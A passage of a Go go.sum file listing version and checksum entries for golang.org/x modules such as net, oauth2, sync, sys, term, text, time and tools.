h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=\ngolang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=\ngolang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=\ngolang.org/x/net v0.0.0-20200528225125-3c3fba18258b/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=\ngolang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=\ngolang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=\ngolang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=\ngolang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=\ngolang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=\ngolang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=\ngolang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=\ngolang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=\ngolang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=\ngolang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=\ngolang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=\ngolang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=\ngolang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=\ngolang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=\ngolang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc=\ngolang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=\ngolang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk=\ngolang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44=\ngolang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM=\ngolang.org/x/net v0.27.0/go.mod h1:dDi0PyhWNoiUOrAS8uXv/vnScO4wnHQO4mj9fn/RytE=\ngolang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4=\ngolang.org/x/net v0.51.0 h1:94R/GTO7mt3/4wIKpcR5gkGmRLOuE/2hNGeWq/GBIFo=\ngolang.org/x/net v0.51.0/go.mod h1:aamm+2QF5ogm02fjy5Bb7CQ0WMt1/WVM7FtyaTLlA9Y=\ngolang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=\ngolang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=\ngolang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=\ngolang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=\ngolang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=\ngolang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=\ngolang.org/x/oauth2 v0.0.0-20220223155221-ee480838109b/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc=\ngolang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I=\ngolang.org/x/oauth2 v0.6.0/go.mod h1:ycmewcwgD4Rpr3eZJLSB4Kyyljb3qDh40vJ8STE5HKw=\ngolang.org/x/oauth2 v0.34.0 h1:hqK/t4AKgbqWkdkcAeI8XLmbK+4m4G5YeQRrmiotGlw=\ngolang.org/x/oauth2 v0.34.0/go.mod h1:lzm5WQJQwKZ3nwavOZ3IS5Aulzxi68dUSgRHujetwEA=\ngolang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20220601150217-0de741cfad7f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=\ngolang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=\ngolang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=\ngolang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=\ngolang.org/x/sync v0.19.0 h1:vV+1eWNmZ5geRlYjzm2adRgW2/mcpevXNg50YZtPCE4=\ngolang.org/x/sync v0.19.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI=\ngolang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20191002063906-3421d5a6bb1c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200106162015-b016eb3dc98e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200331124033-c3d80250170d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200501052902-10377860bb8e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200515095857-1151b9dac4a9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200615200032-f1bc736245b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20201126233918-771906719818/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210228012217-479acdf4ea46/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210603081109-ebe580a85c40/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220310020820-b874c991c1a5/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220615213510-4f61da869c0c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=\ngolang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=\ngolang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=\ngolang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=\ngolang.org/x/sys v0.41.0 h1:Ivj+2Cp/ylzLiEU89QhWblYnOE9zerudt9Ftecq2C6k=\ngolang.org/x/sys v0.41.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=\ngolang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE=\ngolang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=\ngolang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=\ngolang.org/x/term v0.0.0-20210220032956-6a3ed077a48d/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=\ngolang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=\ngolang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=\ngolang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U=\ngolang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=\ngolang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU=\ngolang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk=\ngolang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY=\ngolang.org/x/term v0.22.0/go.mod h1:F3qCibpT5AMpCRfhfT53vVJwhLtIVHhB9XDjfFvnMI4=\ngolang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM=\ngolang.org/x/term v0.40.0 h1:36e4zGLqU4yhjlmxEaagx2KuYbJq3EwY8K943ZsHcvg=\ngolang.org/x/term v0.40.0/go.mod h1:w2P8uVp06p2iyKKuvXIm7N/y0UCRt3UfJTfZ7oOpglM=\ngolang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=\ngolang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=\ngolang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=\ngolang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=\ngolang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=\ngolang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=\ngolang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=\ngolang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=\ngolang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ=\ngolang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=\ngolang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=\ngolang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=\ngolang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=\ngolang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=\ngolang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=\ngolang.org/x/text v0.16.0/go.mod h1:GhwF1Be+LQoKShO3cGOHzqOgRrGaYc9AvblQOmPVHnI=\ngolang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=\ngolang.org/x/text v0.34.0 h1:oL/Qq0Kdaqxa1KbNeMKwQq0reLCCaFtqu2eNuSeNHbk=\ngolang.org/x/text v0.34.0/go.mod h1:homfLqTYRFyVYemLBFl5GgL/DWEiH5wcsQ5gSh1yziA=\ngolang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=\ngolang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=\ngolang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=\ngolang.org/x/time v0.14.0 h1:MRx4UaLrDotUKUdCIqzPC48t1Y9hANFKIRpNx+Te8PI=\ngolang.org/x/time v0.14.0/go.mod h1:eL/Oa2bBBK0TkX57Fyni+NgnyQQN4LitPmob2Hjnqw4=\ngolang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=\ngolang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=\ngolang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=\ngolang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=\ngolang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=\ngolang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=\ngolang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=\ngolang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=\ngolang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=\ngolang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=\ngolang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=\ngolang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=\ngolang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=\ngolang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=\ngolang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=\ngolang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=\ngolang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=\ngolang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=\ngolang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=\ngolang.org/x/tools v0.0.0-20200204074204-1cc6d1ef6c74/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=\ngolang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=\ngolang.org/x/tools v0.0.0-20200212150539-ea181f53ac56/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=\ngolang.org/x/tools v0.0.0-20200224181240-023911ca70b2/go.mod 